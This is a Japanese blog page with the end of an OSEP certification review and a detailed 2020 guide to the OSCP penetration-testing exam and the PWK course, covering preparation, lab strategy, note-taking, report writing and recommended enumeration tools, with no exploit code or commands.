2021年11月、SOC-200という新規テーマのコースと、WEB-200という既存コース(WEB-300)の下位コースが追加されました。ついにDefensive Securityなコースが登場するなど、Offensive Security社のコースラインナップも幅と深さが増していっていますね。

上記2コースはLearn Oneという年間$1999のサブスクリプションモデルのみでの受講となっていますが、申し込むとPEN-200の下位コースであるPEN-100もセットで受講できるなど色々特典も付いています。

今までは「OSCPを受けるためにHackTheBoxTryHackMeで修行する」という人が多く、入門者レベルの人からOffensive Security社にお金が流れない構造になっていました。下位コースを追加するのにはその辺りの層も拾いたい意図があるのかなと思います。

ただ、Learn Oneのみになって個人には厳しい金額を払わないと受けられなくなったことなど、ビジネスモデルが少しずつSANS Trainingに近づいて来ているような気がしないでもないですね。

OSEP試験問題の刷新

2021年10月、OSEPの試験解答が某ハッキングフォーラム上で多数流出する事件が発生しました。

これが原因で、その時点で受講者が入れていたOSEP試験の予約は全キャンセルになり、事件後の1ヶ月間はOSEP試験の実施が停止となってしまいました。
(自分はちょうど10月に予約を入れていたので、この事件のために受験が1ヶ月以上先送りになっています。)

解答が流出した問題は全て廃止になり、再開後は新しい問題に刷新されたとのことです。

ただ、真偽の程は不明ですが、公式DiscordやInfoSec Prep Discordでは、刷新後の試験を受けた一部の人から「以前の問題よりも難易度が上がっているのではないか?」という指摘がなされています。

自分は旧試験を受けていないため確かなことは分からないのですが、確かに旧試験を受けた人のレビューを読むと自分が受けた試験とギャップを感じます。ただ、難しすぎるとは感じなかったので、実際に難易度が上がっていたとしても結果的に丁度良い難易度に調整されたのだろうと思います。

感想

個人的には試験問題のクオリティに大変満足しています。Challenge Labに含まれるどの問題と比べても試験問題が一番良くできていたと思えるレベルです。

挑戦しがいのある、とても楽しい試験でした。

OSCP試験とよく似ている

全体的な感触はOSCP試験とよく似ていて、Challenge Labの最後のチャレンジよりも一段難しい内容が試験問題として出題されました。試験で使用したテクニックの半分はテキストに載っているものでしたが、残り半分はテキストにもChallenge Labにも登場しないものだったように思います。

OSWE試験がテキスト通りの素直な内容だったのと比べると、OSCP試験を受けたときとよく似た、思ってたよりも難しいという気持ちにさせられるものでした。

考え方の習得が大切

試験に受かるためには、テキストに書いてあるテクニックをそのまま使えるだけでは十分でなく、未知のセキュリティ対策の仕組みを理解し、自力でバイパス方法に辿り着く考え方も身につけられている必要があると思いました。

これは、OSCPでコマンドやツールの使い方を暗記しているだけでは十分でなく、Try Harderのマインド、列挙を諦めないタフさを習得していることが重要だと感じたのと少し似ています。

とにかく長い

OSEP試験は48時間と長丁場な分、睡眠・食事をしっかりと取るのが重要と思います。その後、レポートを書いて提出することを考えて体力を温存した方が良いです。

自分の場合、合格基準は丸1日経ったあたりで達成できていたのですが、手つかずのマシンなどもいくつか残っていたため、できるところまでやろうという気持ちで結果2日間やり通してしまいました。完徹すると"終わる"ことが目に見えていたので多少の睡眠は取ったものの正直睡眠不足でした。

試験レポートは最終的に106ページの長さになりました。メモのおかげで殆どコピペで済んだとはいえ、この分量をレポートとしてまとめ直すのはそれなりの体力が必要です。もし、試験の2日間を完徹していたらとても提出できていたとは思えません。

おわりに

改めて振り返ってみて、やはりOSEP/PEN-300はとても良くできたコースだったと思います。個人的にはOSCP, OSWE以上に楽しむことができましたし、コースを通して学んだ量も一番多かったと思います。

PEN-300が含むトピックの中でも、個人的に一番楽しんだのはWinDBGを使ってAMSI.DLLを解析するパートでした。

同じくOSCE3の一部であるOSED/EXP-301は、AMSI.DLLのパートのようなデバッガーを用いたバイナリ解析に焦点が当たったコースとのことです。楽しそうですね。

OSWE, OSEPに合格した今、OSCE3取得まで残すところはOSEDのみです。

OSEDを取ってOSCE3保持者になれば、長かったOffensive Security資格の旅も一段落かなと思います。最後まで楽しむぞ!

OSCP: ペネトレーションテストの実践的な資格を取った話

はじめに

本記事は Recruit Engineers Advent Calendar 2020 の6日目にあたる記事です。

先日、Offensive Security Certified Professional (OSCP) という倫理的ハッキング技術に関する資格を取得しました。最近、日本でもこの資格の人気が高まっているような印象を受けますが、OSCPに関する日本語の情報はまだまだ少ないようです。今後受ける人の参考になればと思い、本記事ではOSCPに関する以下の事項についてお話したいと思います。

  • PWKコースとOSCP試験がどういう内容で、どんな人におすすめか
  • 受ける前にどんな準備をすれば良いか
  • 実際にPWK / OSCPを進める際に役に立つ情報
  • 筆者のOSCP受験記

この記事では、まず「OSCPとは何か」を知りたい人のために一般的な説明をしています。その後、「OSCPを受けようか悩んでいる人」「OSCPを受けようと思っている人、または現在OSCPを受けている人」に向けて、詳細を説明する構成になっています。

OSCPの紹介

Offensive Security Certified Professional (OSCP)

OSCPは、Kali Linuxを開発したOffensive Security社が提供するペネトレーションテストの資格です。

OSCPの特徴は、他の倫理的ハッキング系の資格(GIAC, CEHなど)と比べて、非常に技術寄りかつ実践的な試験内容であることです。OSCP試験は現実のペネトレーションテストを模した実技テストとなっていて、実際に試験マシンに侵入して情報を盗み出すことで点が得られるものになっています。

試験内容

OSCP試験は100%実技形式で行われます。連続24時間の試験終了後、次の24時間以内にExamレポートを提出する必要があります。実質的に48時間連続というセキュリティ資格の試験としては他に類を見ない長丁場です。

※追記(2022/07/21): 2022年、OSCP試験内容の大幅なアップデートが行われました。以下の内容は2020年時点のものであり、現在の試験とは内容が異なります。

試験の目標は、5台の試験マシンに対してブラックボックス形式でペネトレーションテストを実施し、侵入に成功した証拠となるファイル(local.txt, proof.txt)を盗み出すことです。

5台の試験マシンは「Easy 10点, Medium 20点×2, Hard 25点, Buffer Overflow 25点」という配点になっています。全マシンから全ての証拠ファイルを盗み出すと100点満点が得られます(試験マシンの構成は公式に明記されているものではないので今後変わるかもしれません)。そして、合計70点以上の得点を得ることができれば試験合格です。

試験は自宅からオンラインで受験できますが、試験監督官によるWebカメラとホストOS画面の監視付きです。

試験には禁止ツールなどのレギュレーションがあります。metasploitは1台のマシンにしか使えなかったり、Burp Suite Proなどの有償ツールの使用は全面的に禁止されていたり、他にもいくつかのルールが決められています。

また、提出するExamレポートにも細かい要件が決められています。要件を満たさなかった場合は減点されるなど、レポート執筆の能力も問われる内容になっています。

Pentesting with Kali Linux (PWK)

PWKはペネトレーションテストの基礎技術を学ぶことができるオンライントレーニングです。OSCP試験はPWKとセットになっていて、基本的にPWKが扱う範囲内から問題が出題されます。

「攻撃対象のマシンについて調査し、発見した脆弱性を攻撃して内部に侵入。権限昇格して機密情報を盗み出す」という一連の流れを、いくつものマシンに対して繰り返すというのがPWKの基本的な内容です。

PWKでは、基本的に攻撃コードが世に出回っている既知の脆弱性を攻撃してシステムに侵入するシナリオが想定されています。逆に、未知のゼロデイ脆弱性を発見して攻撃するシナリオは一部を除き殆ど含まれません。

コース教材

PWKのコース教材は「約850ページのPDFファイル」と「約17時間の講義ビデオ」で構成されています。

講義ビデオはPDF教材の内容を動画で解説してくれるものになっています。ときにPDF教材に無い補足情報の説明がされることがありますが、基本的には両者は同じ内容です。

コース教材の内容は幅広く、テスト開始〜報告書執筆までペネトレーションテストに必要な知識が学べるようになっています。以下は、コース教材の内容の一部を示したものです。

ペネトレーションテストの基本

  • 各種ツールの使い方
  • パッシブスキャン、アクティブスキャン
  • 脆弱性スキャン
  • 公開されているExploitの発見方法、使用方法
  • 権限昇格
  • 他ネットワークへのPivot手法

脆弱性の攻撃手法

  • Webアプリの脆弱性
  • Stack Buffer Overflowを悪用したシェルコードの実行

非技術的な内容

  • メモの取り方
  • レポートの書き方

下記の公式PDFにコース教材のシラバスが記載されています。詳しい内容を知りたい方は参考にしてください。

https://www.offensive-security.com/documentation/penetration-testing-with-kali.pdf

Lab環境

PWKのLab環境には、全部で66台の脆弱なマシンが存在します。その全てが脆弱性の攻撃によって外部から侵入でき、権限昇格によってroot権限や管理者権限を奪取できるようになっています。また、Lab環境はコース教材の内容をシナリオに沿って一通り練習できるように設計されています。

Lab環境内の各マシンは独立しておらず、あるマシンから他のマシンへの足がかりを得ることができたりなど複数のマシンが絡むシナリオが多数用意されています。また、受講者が最初にアクセスできるPublic Network以外にも複数のサブネットが存在しています。侵入したマシンからPivotして他のネットワークのマシンに侵入するといった、各マシンが独立している他のペネトレーションテストプラットフォーム(Hack The Box (HTB)VulnHubなど)では楽しめない体験ができます。

また、基本的に受講者に与えられるのはLab環境VPNへのアクセス権のみです。まず、どのIPアドレスにホストが存在するのかといったレベルから調査を始める必要があるのも他のプラットフォームと異なるポイントといえます。

各マシンでroot権限や管理者権限を取得すると、proof.txtという名前のファイルを盗み出すことができます。その内容を各学生専用のコントロールパネルに提出するとマシンを攻略したという扱いになります。コントロールパネルでは現在どれだけのマシンを攻略しているのかを確認できる他、Lab環境のマシンを再起動することができます。

Lab環境は、PWKコースの目玉となるコンテンツであり、個人的に最もおすすめしたいポイントです。

Labレポート

Labレポートを作成して試験終了後にExamレポートと一緒に提出すると、試験で取った点数にプラス5点が加点されます。Labレポートは、PWKコース教材とLab環境で十分に学習を行ったことを証明する内容のレポートです。

Labレポートの中には、「10台分のLabマシンに侵入した手順(試験で書くExamレポートと同じ形式)」「PDF教材の一部を除く演習問題の解答」を含める必要があります。

詳しくは後述しますが、このLabレポートは得点のみを目的として書くには時間がかかりすぎて割に合わないと個人的には思っています。

受験費用

PWKとOSCP試験の受験費用はLab環境にアクセスできる期間の長さによって変わり、30日で$999、60日で$1199、90日で$1349となっています。

余談ですが、OSCP以外のトレーニングと試験がセットになっているセキュリティ資格は受験費用が高額であることが多いです。例えば、SANSトレーニングとGIAC試験の場合では、合計で90万円程度もの費用が掛かります。それと比較するとPWKとOSCP試験は$999から受けることができるなど比較的お手頃な価格設定となっています。

CTFとの違い

ハッキング技術を証明する資格ということで、CTFプレイヤーの方がOSCPに興味を持たれることも多いと思います。ただ、事前に知っておいた方が良いのは、CTFで競い合うハッキング技術とOSCPが測ろうとしているハッキング技術には方向性の違いがあるということです。自分は元々CTFをやっていたので、この項はCTFプレイヤー寄りの目線で書いています。

CTF

CTFでは、出題される技術領域がジャンルによって明確に分けられています。また、多くの問題が単一サービスレベルで出題されるなど、1問あたりの攻撃対象のスコープは狭いことが多いです。攻略に必要な能力としては、出題されたシステムの仕組みを深く理解する能力と、複雑なExploitコードを書く能力が求められる傾向があります。また、出題される脆弱性は問題のために作り込まれたものであることが殆どで、世の中に既にある攻撃コードやツールだけで解けることは滅多にありません。

OSCP

OSCPでは、出題される技術領域は細かくジャンル分けされておらず、様々な技術要素が混在しています。CTFのジャンルでいえば、Web、Pwn、Network、Miscなど複数ジャンルに相当する内容が1問の中に含まれているイメージです。また、試験マシンはIPアドレスレベルでの出題になり、1台のマシン上に多数のサービスが立ち上がっている状態でのスタートとなります。しかし、脆弱性の攻撃部分は殆どが出回っている攻撃コードを活用するだけで済んでしまうので、システムの仕組みを深く理解している必要はありません。攻略に必要な能力としては、膨大な候補の中から脆弱性を特定する能力が求められます。

Try Harderの心構え

Try HarderはOffensive Securityのモットーとも言える考え方です。詳しく知りたい方は下記の記事を参考にしてください。

www.offensive-security.com

Try Harderの心構えとは、具体的に言えば「粘り強い忍耐力」「様々なアイデアを検討する創造力」といった能力のことです。

CTFでは、「ここに脆弱性があることは分かるが、どうすれば悪用できるかが分からない」という状況になりがちです。得点を得るためには高度なExploit開発能力が問われ、脆弱性と悪用方法についての技術的詳細を知り尽くしている人が勝つ傾向があると思います。

OSCPでは、「Exploit DBに公開されているExploitコードを少し手直しして実行するだけで脆弱性の悪用が済んでしまう」という場合が殆どです。それは、OSCPの主題が、そこに至る前の「如何に脆弱性を見つけるか?」という部分にあるからだと思われます。

Exploitコードを自作する必要がある問題も含まれてはいるものの、Webなら何の捻りもなく刺さるSQL Injection、PwnならCanary無しバイナリでBOFからのシェルコード実行など、今どきのCTFならWelcome問題にもならなさそうな難易度のものです。どのマシンも脆弱性がどこにあるか分かっていれば、非常に簡単にrootが取れます。

しかし、攻撃対象のスコープが広いOSCPでは、その脆弱性が「どこにあるのか」を知るのが一番難しいポイントです。脆弱性の発見に至る列挙や探索といった過程にOSCPの本質的な部分があると言えると思います。そして、そういった部分は、単純な技術力よりも、忍耐力や新しい可能性にトライし続ける心構えが結果を左右すると個人的には考えています。

Rabbit Hole

OSCPのマシンにはRabbit Holeと呼ばれる、一見脆弱性があるように見えて実は無いという罠のような部分が山ほど用意されています。そのため、OSCPにおける難しさは「Rabbit Holeだらけでどこを攻撃すればいいのか分からない」という難しさであることが多いです。

マシンの攻略を通して、自分自身の思考プロセスを分析し、Rabbit Holeに落ちてしまわないように思考プロセスの改良を繰り返すことが成功の鍵だと個人的には思っています。

おすすめできる人

以下のような人にはOSCPをおすすめできます。

  • ブラックボックス形式のペネトレーションテストを学びたい人
  • 膨大な候補の中から脆弱性を特定する能力を身につけたい人
  • 世の中に出回っている攻撃コードを活用できるようになりたい人
  • モノを暗記する必要のあるテストよりも実技テストが好きな人

以下のような人にとっては、OSCPは期待はずれかも知れません。

  • ゼロデイ脆弱性を見つけたい人
  • 高度な技術力を要する複雑なExploit開発を学びたい人

余談: PWK 2020でアップデートされたポイント

PWKのコンテンツは2020年にそれまでの内容から大幅にアップデートされました。

PDF教材は約380ページから約850ページへと2倍以上に増加、Lab環境のマシン数は54台から66台へと増加など、数字で見てもボリュームが大きく増していることが分かります。具体的にはActive Directory Attacks, PowerShell Empireの章が追加された他、Bashスクリプトの書き方や、Buffer Overflowの導入編としてx86アーキテクチャ、スタックメモリ、関数リターンアドレスの説明が追加されています。これにより、技術的詳細に関する事前知識が無い場合でもコース教材で賄うことができる範囲が広がったようです。

差分について、詳しくは下記のページに書かれているので気になる方は参考にしてください。

www.offensive-security.com

OSCPを受ける前の準備

次の項からは、OSCPを受けようか迷っている人に向けて、OSCPの前提条件や必要準備、PWKコース日数の選び方などについて説明します。

前提とされる能力

公式ページによると、以下の能力がコースの前提条件となっています。

教材が充実しているので、この条件さえ満たしていれば教材やLab環境から必要な知識を学ぶことは十分可能だと思います。

それから、最低限の英語能力は必要と思われます。サポートとのやり取り、Examレポートの執筆などは全て英語で行う必要があります。DeepLなどの機械翻訳頼りでも何とかなりますが、生成された英文が正しいかを見極められる程度の読解力は無いとExamレポートが書けなくて厳しいかもしれません。

合格に必要な学習時間

これは正直、事前知識の量に依ると思います。ただ、受かることだけを目的にするならそこまでの時間は掛からないと思われます。OSCPは簡単な試験ではありませんが、あくまでもペネトレーションテストの基礎というポジションです。そのため、問われる技術はツールの基本的な使い方といった内容が多くなっています。特に、CTFやHTBを普段からやっている方であれば既に知っていることが多い可能性は高いです。

自分は、Lab環境とコース教材をできる限り楽しむことを目的にして学習を行いました。90日コースで大体1日4時間程度の時間を費やし、PDF教材の全ての演習問題とLab環境のマシン66台の攻略を完了しました。合計で350時間くらいは掛かった計算になりますが、受かるだけならLabマシン全部を解く必要は無く、もっと短時間で合格することも可能だと思います。

Labマシン攻略数と合格率

下記の記事に、Labマシンを攻略した数とOSCP試験の合格率の関係を示したグラフがあります。

www.offensive-security.com

グラフによると、攻略数と合格率には相関関係があり、多くのLabマシンを攻略すればするほど合格する確率が増していくことが見て取れます。また、21〜30台攻略しておけば、50%くらいの可能性で合格できることが分かります。合格を目的とするならば、まずはこのあたりの攻略数を目標にすると良いと思います。

PWKコース日数の選び方

受かるだけなら、30日コースでも十分可能性はあると思います。ただし、前述の通り事前知識の量で変わってくるので、ペネトレーションテストは全くの初心者という場合であれば余裕を持って取り組めるよう60日以上を推奨します。

Labレポートを書きたいなら、60日以上のコースがおすすめです。PDF教材の演習問題だけで2〜3週間は掛かると思われるので、30日だとこのコースの最大の魅力であるLab環境に取り組むことができる時間が短くなってしまい勿体ないです。

Lab環境を楽しみ尽くしたいなら90日コースにすることを推奨します。66台のマシンがあるので、まずはPDF教材の演習問題を2〜3週間で完了し、残りの時間で1日1マシンのrootを取っていけばちょうど全完できるくらいのペース感になります。

PWKコースを受ける前にやっておいた方が良いこと

HTBの知識は非常に役に立ちます。CTFの知識は全てが役に立つ訳ではありませんが、Web問やOSに関する知識を問うようなMisc問の経験は役に立ちます。また、Pwn問をやったことがある人にとってはBuffer Overflowに関するOSCPのマシンはボーナスステージになります。

下記のスプレッドシートに、OSCPのマシンによく似たHTBやVulnHubのマシンがリスト化されています。PWKを開始する前にいくつかやっておくことをおすすめします。

docs.google.com

HTBは難化傾向がある気がしており、最近は難易度EasyのマシンでもLabマシンより難しく感じます。リストに無いアクティブマシンから始めるのは初心者には辛いかもしれません。)

PWKのLabマシンは直接的な解法を知る手段は用意されていません(AlphaとBetaという練習用マシンだけは例外的に解法が公開されています)。そのため、Lab環境にいきなり挑戦すると手も足も出ないという可能性があります。

逆に、HTBのRetiredマシンはWriteupが世に溢れています。HTBのRetiredマシンなら、自力で解けなくてもWriteupに書いてある通りに攻撃してみるという方法で学習ができ、PWKのLab環境よりも初心者には取っつきやすいです。

HTBのWriteupはIppSecさんのYouTubeチャンネルが分かりやすいと思います。まずは、こちらを参考にして攻撃手順を再現してみることから始めても良いかもしれません。

www.youtube.com

申込方法

公式ページのフォームから申し込み、クレジットカードかPayPalで支払いをするだけで完了します。ただし、gmailなどのフリーメールの場合はパスポートなどの英語表記の身分証明書が求められます。そのため、パスポートを持っていない人は事前に準備をしておく必要があります。

また、英語表記の身分証明書は後々OSCP試験を受ける際に全員が求められることになります。社用メールアドレスなどで受ける場合でもこの段階でパスポート申請の手続きを開始しておくことを推奨します。

申し込んでから実際にPWKコースを開始できるまでに2週間程度かかるので注意が必要です。自分は連休に開始しようと思っていましたが、このラグのせいで連休終わりから開始することになり若干残念な気持ちになりました。

OSCPへの取り組み方

次の項からは、OSCPを受ける予定の人や、今まさに受けている人に向けて、PWKコースやOSCP試験の具体的な取り組み方や推奨事項について説明します。

PWKコース教材の進め方

コース教材の進め方としては、「最初にじっくりコース教材で学習してからLab環境に飛び込む」やり方と、「いきなりLab環境に飛び込んでLabマシン攻略をしながら適宜コース教材を進める」やり方が考えられます。

進め方1: 最初にじっくりコース教材で学習

ペネトレーションテストに関する事前知識が無い人は、まずコース教材をしっかりやった方が良いと思います。

当然ながらOSCPの試験問題はコース教材の範疇から出るので、コース教材から多くを学べば合格の可能性が高まると思われます。また、メタ的な思考法になりますが、マシンの攻略中に「この方向性はコース教材の範疇を超えてるからRabbit Holeだろう」という判断から攻撃ターゲット候補を枝刈りできることが何度もありました。こういった点でもコース教材の内容は試験の対策として有効です。

コース教材の内容はクオリティが高く実践的な演習問題が多数用意されています。個人的には退屈することなく最後まで楽しんで進めることができました。

進め方2: いきなりLab環境に飛び込む

ある程度のペネトレーションテストに関する知識がある人ならば、いきなりLab環境から始めるのもありだと思います。

自分は全66台のLabマシンを攻略しましたが、改めて見返すと攻略の過程でコース教材のほぼ全てのトピックが登場しているように思えました。とにかくLab環境の攻略がやりたいという人は、Lab環境先行で進めて、行き詰まったりした際にコース教材を参照するスタイルで進めても結果的にはコース教材の内容をカバーできると思います。

PDF教材のシラバスを眺めて、全体的に知っていることの方が多そうだと思ったらこちらの進め方でも良いと思います。

Lab環境の進め方

Lab環境の進め方としては、「公式に推奨されているマシンの攻略順に進める」やり方と、「事前情報無しで攻略を進める」やり方が考えられます。

Labマシンの攻略順

PWK Labs Learning Pathに公式が推奨するLabマシンの攻略順が書かれています。

web.archive.org

Labマシンの内から11台がピックアップされており、推奨される攻略順と、各マシンの足がかりとなるヒント情報が書かれています。

最初の2台(Alpha, Beta)に関してはOffensive Security Forums上に詳細な攻略ガイドが公開されています。ガイド通りに攻略することでペネトレーションテストの基本的な流れを実践しながら技術を学ぶことができるようになっています。

しかし、この記事はヒント情報の塊なので、全て自力で進めたいという方はあえて事前情報無しで攻略を進めるのもありだと思います。ちなみに、自分はLab環境に取り組んでいるときはこの記事の存在すら知りませんでした。

Offensive Security Forums

Labマシンの直接的な解法を知る手段は用意されていませんが、受講生のみがアクセスできるOffensive Security Forumsで受講生同士の会話から断片的なヒントを得ることができます。ただし、Forumの投稿内容は管理者によって監視されており、直接的な解法や殆ど解法のようなヒントが投稿されるとSpoilerとして削除されるようになっています。

Forumの活用法

Forumのヒントを見るタイミングですが、まず数時間はヒント無しでマシンの攻略を行い、完全に行き詰まったタイミングで見に行くのがいいと思います。

Lab環境のマシンは様々な攻撃シナリオを持っています。中には他のマシンからラテラルムーブメントしないと攻略できないマシンもあったりします。自力での攻略には限界もあるので、列挙し尽くしたが駄目だったというときは、諦めてForumのヒントを見て先に進んだ方が良いです。

しかし、ただForumのヒントを見て攻略して終わりで済ませるのは勿体ないです。個人的にヒントを見る際に大事だと思っているのは「ヒント無しで脆弱性に気づくためには、どんな列挙が足りなかったか」「どういう風に思考プロセスの枠を広げれば、ヒント無しで解法に気づくことができたか」といった分析をし、思考プロセスを改良する材料にすることです。

「次のマシンではこうしてみよう」と考えることでより良い動きができるようになっていきます。

Kernel Exploit

Lab環境内のマシンは、Kernel Exploitによる権限昇格が成功するものがかなり多いです。これはPWKのLabマシンが10年以上継ぎ足しでやってきた歴史的背景のため、全体的にOSバージョンが古いことが原因だと思われます。

実際にはKernel Exploit以外にも権限昇格シナリオが用意されているマシンが多いです。そういったマシンでKernel Exploitを使用すると、マシンから学べる内容を減らしてしまうことになる可能性があります。

もちろん、Kernel Exploitが想定解法のマシンも少なくは無いのですが、自分はLab環境ではKernel Exploitは最後の手段だと思って取り組んでいました。

Kernel Exploit以外の権限昇格シナリオがある場合、大抵Forumに権限昇格の方法が複数あることについて言及している人がいます。そのため、Kernel Exploitでマシンを攻略し終わった後には、Forumを見て、学び損ねている要素が無いか確認するのが良いと思います。

ちなみに、PWK 2020では10台以上のマシンが追加されていますが、新しいマシンはちゃんとWindows10などの新しいOSになっていました。

Buffer Overflow (BOF)

BOFに関するマシンは、OSCPで全体的に重視されている「脆弱性を特定する能力」よりも「Exploitコードを自作する能力」の方が求められるものになっています。どこに脆弱性があるかは明確である場合が多く、他のマシンとは毛色が違います。

攻略のためには教材に書かれている「Returnアドレスまでのオフセット特定」「Bad Charsの特定」「スタックのアドレスにジャンプするガジェットの探索」といったステップを一通り実践できるようになっていれば問題ないと思います。

Lab環境内でのBOFの練習機会は少なめなので、ここだけはLabレポートを作成しない場合でもPDF教材の演習問題を解いておくことを推奨します。VulnHubのBrainpan_1などのマシンで練習するのもおすすめです。

www.vulnhub.com

サブネット開放

Lab環境には、受講者が最初にアクセスできる「Public Network」の他に、以下の3つのネットワークが用意されています。

  • IT Depertment Network
  • Development Department Network
  • Administrator Depertment Network

Public Network以外のネットワークへ侵入するには、複数のネットワークに属しているマシンに侵入し、ポートフォワーディングなどでPivotする必要があります。

複数のネットワークに属しているマシンを攻略した際には、サブネット開放用のシークレットファイルを手に入れることができます。このシークレットファイルは以下のようにサブネットに関する機能を開放するために使うことができます。

  • コントロールパネルで使用すると他サブネットのマシンが再起動できるようになる
  • Forumsで使用すると他サブネットに関する投稿を閲覧できるようになる

メモの取り方

Labマシンの攻略中にメモを取る練習をしておいた方が良いです。

後々、OSCP試験でExamレポートを書くことになります。試験までに攻略中に必要な情報を漏れなく記録できるスキルを身に付けておくと安心できます。

具体的なメモの取り方ですが、侵入成功に必要なコマンドは実行結果ごとまとめてコピペするか、スクリーンショットを撮って記録するようにします。Labマシンの攻略中に取ったメモから、侵入成功に直結する部分を抜き出すだけで完成したレポートになるよう、漏れなくメモを取れるのが理想です。

ちなみに自分はスクリーンショットを載せることが要件になっている「proof.txtファイルのデータ」と「ifconfig / ip addr / ipconfigコマンドの結果」以外は全てテキストデータとしてメモを残すようにしていました。

メモの形式、保存方法

自分は、Markdown形式のプレーンテキストファイルとしてメモを保存し、gitコマンドを使って差分管理をしていました。また、メモを失うことが無いようにこまめにクラウドサービスへバックアップを取っていました。

LabレポートとExamレポートの執筆に際しては、本文をMarkdown形式で書いてから、PandocでPDFに変換して提出するという方法を取りました。メモもMarkdown形式で取っていたので、レポートの執筆作業はメモの内容をコピペして体裁を整えるだけで済みました。

PDF教材の演習問題に関しても、最初からMarkdown形式でメモを取っていったので、Labレポートの本文末尾にコピペするだけで良く、かなり楽にLabレポートを仕上げることができました。

Labレポートの作成をするべきか

5点の加点だけが目的であれば、演習問題の量が相当に多く割に合わないので正直おすすめできないです。逆に、PWKコースの内容を隅々まで学ぶことが目的なら、演習問題を通してムラなく体系的に学ぶことができるのでLabレポートの作成をやる価値は十分にあると思っています。

Labマシンの侵入レポートについては、Labレポートを提出しない場合でもいくつか書いておくことを推奨します。Examレポートの要件を十分に理解した上でレポートを書いた経験があると、OSCP試験の際に必要な情報を漏れなくメモに取ることができます。

また、Labレポートを書く・書かないに関わらず、Lab環境のマシンに手を付ける前にサンプルレポートを読むことを推奨します。

https://www.offensive-security.com/pwk-online/PWK-Example-Report-v1.pdf

サンプルレポートには、Examレポートについて「どういうフォーマットで書けばよいのか」「何が要件として求められるのか」といった情報が書かれています。こちらの内容を念頭に置いてマシンの攻略中にメモを取る癖を付けておくと良いです。

OSCP試験を受ける上での注意点

試験日の予約

OSCP試験の日程は自分で予約して決める必要があります。

選べる日程は他の受験者の予約で埋まってどんどん減っていってしまうので、早い段階で試験予約をした方が良いです。特に土日の予定は埋まりやすく、1ヶ月先くらいまで埋まっていることもざらです。PWKコースを開始した日のうちに予約を入れてしまった方が良いと思います。

英語表記の身分証明書

OSCP試験の当日にはパスポートなどの英語表記の身分証明書の提示が求められます。

パスポートの発行には、戸籍謄本の取り寄せの時間も含めると合計2〜3週間程度の時間がかかります。予約した日程が近づいてからパスポートの申請を始めると試験に間に合わなくなる可能性があるので注意が必要です。

試験中の監視

OSCP試験中は試験監督官によってWebカメラとホストOS画面の監視が行われます。監視に使用されるソフトがメモリやCPUリソースを大きく消費するので、ホストマシンのスペックには余裕をもたせたほうが良いです。

余談ですが、自分はこの監視ソフト周りでいくつかのトラブルに遭ったので注意した方が良いと思います。

余談: 試験中に遭遇したトラブル

自分が遭遇したトラブルですが、1つ目は画面共有ができないことでした。

監視ソフトはブラウザ拡張として動作するのですが、最初に試したChromeブラウザでは正常に動作しませんでした。具体的には、他の機能は正常に動いているにもかかわらず、画面共有だけができないという症状が発生し、予定時刻に試験を開始できなくなる羽目になりました。さらに、トラブルシューティングに時間が掛かり、試験開始ができるまでに数十分の時間をロスすることになってしまいました。

最終的には、サポートからブラウザをFirefoxに変更する提案を受け、それに従うことで試験を開始することができました。

しかし、試験自体は開始できたものの、その後「数時間に一度、ホストOSが完全にフリーズし、強制再起動するしかなくなる」という2つ目のトラブルに遭遇しました。

この問題の原因は、監視ソフトが何らかの理由で際限なくメモリを消費し続けることにありました。アクティビティモニタを見ていると、どうやら消費メモリが120GBを超えたあたりでホストOSのフリーズが発生するようでした。自分は事情を試験監督官に説明し、定期的にブラウザを再起動してメモリ消費量をリセットする許可を得ることで何とか凌ぎました。

OSCP試験に関するアドバイス

以下のアドバイスは、自分がOSCPを受けたときのルールに基づくものです。後にルールの変更などが起こっている可能性があるので、必ず最新の公式情報も確認してください。

OSCP Exam Guide

まずは、OSCP Exam Guideを読み込んで、OSCP試験での使用禁止ツールなどのレギュレーションや、Examレポートの要件について事前に把握しておきましょう。また、試験ルールは割と頻繁に更新されています。必ず受ける直前にも目を通しておいた方が良いと思います。

https://help.offensive-security.com/hc/en-us/articles/360040165632-OSCP-Exam-Guidehelp.offensive-security.com

Proctored Exam Q&A

次に、Proctored Exam Q&Aを読み込んで、監視付き試験の実施方法について事前に把握しておきましょう。

https://help.offensive-security.com/hc/en-us/sections/360008126631-Proctored-Examshelp.offensive-security.com

試験中のメモの取り方

試験中のノート取りの段階でExamレポートに近い構成にしておき、コピペして少し体裁を整えるだけで完成できるようにしておくと後がとても楽です。基本的には、ペネトレーションテストの経験のある人が、そのレポートを読みながらコピペしていけばマシンを攻略できる程度に再現性を持たせて書いてあれば大丈夫です。

ただし、Exploit DBなどのExploitコードを書き換えて使用した場合には、その変更箇所を明記して、レポートを読んだ人が再現できるようにしておかないと減点されるので注意が必要です。

途中で合格ラインの70点が獲得できたら、試験中にExamレポートをざっくりと書いてしまって試験合格を確定させておくと気が楽になります。

試験中に確認すべきこと

試験時間が終了する前に、Examレポートの要件を満たすのに必要な情報が全て揃っていることを十分に確認しておくことをおすすめします。Examレポートの要件については上記のOSCP Exam Guideや、OSCP試験中の問題文などに記述があります。

レポートのテンプレート

自分は、Examレポートの執筆に下記のMarkdown形式のテンプレートを使用しました。

github.com

試験中のメモもMarkdown形式で書いていたので、Examレポート作成は殆どコピペして体裁を整えるだけで済みました。

OSCP Exam Guideの中で、Microsoft Word形式とOpenOffice/LibreOffice形式の公式テンプレートが配布されています。Officeで書きたい人はこちらを使用するのがおすすめです。

レポートのスタイル

サンプルレポートでは、基本的に侵入手順は簡潔な短文とスクリーンショットを多用するスタイルでの記述が行われています。これは非英語ネイティブでも書きやすいスタイルになるよう考慮された結果であるそうです。

レポート作成はこのスタイルに従って行うのが簡単で無難だと思います。自分は基本的にこのスタイル通りに書きました。

レポート中の文章はDeepLで翻訳したものをベースにしました。短文中心にすることを意識すれば機械翻訳でも何とかなります。

お世話になったツールやリソース

次の項からは、Lab環境やOSCP試験でお世話になったツールやリソースを紹介します。

Reconnaissance

AutoRecon

github.com

nmap, nikto, gobuster, smbmapなどの複数ツールのスキャンを自動的にターゲットに対して実行してくれるツールです。マシン攻略の足がかりを得るまでの時間を大幅に節約してくれます。取り敢えず新しいマシンに挑むときはAutoreconをかけることから始めるようにしていました。

Privilege Escalation

PEASS - Privilege Escalation Awesome Scripts SUITE

github.com

権限昇格のための列挙を自動化してくれるツールです。Windows用とLinux用のスクリプトが用意されており、実行すると色付きで見やすく列挙結果を表示してくれます。PEASSはシェルを取得したら必ず初手で実行するようにしていました。

GTFOBins

gtfobins.github.io

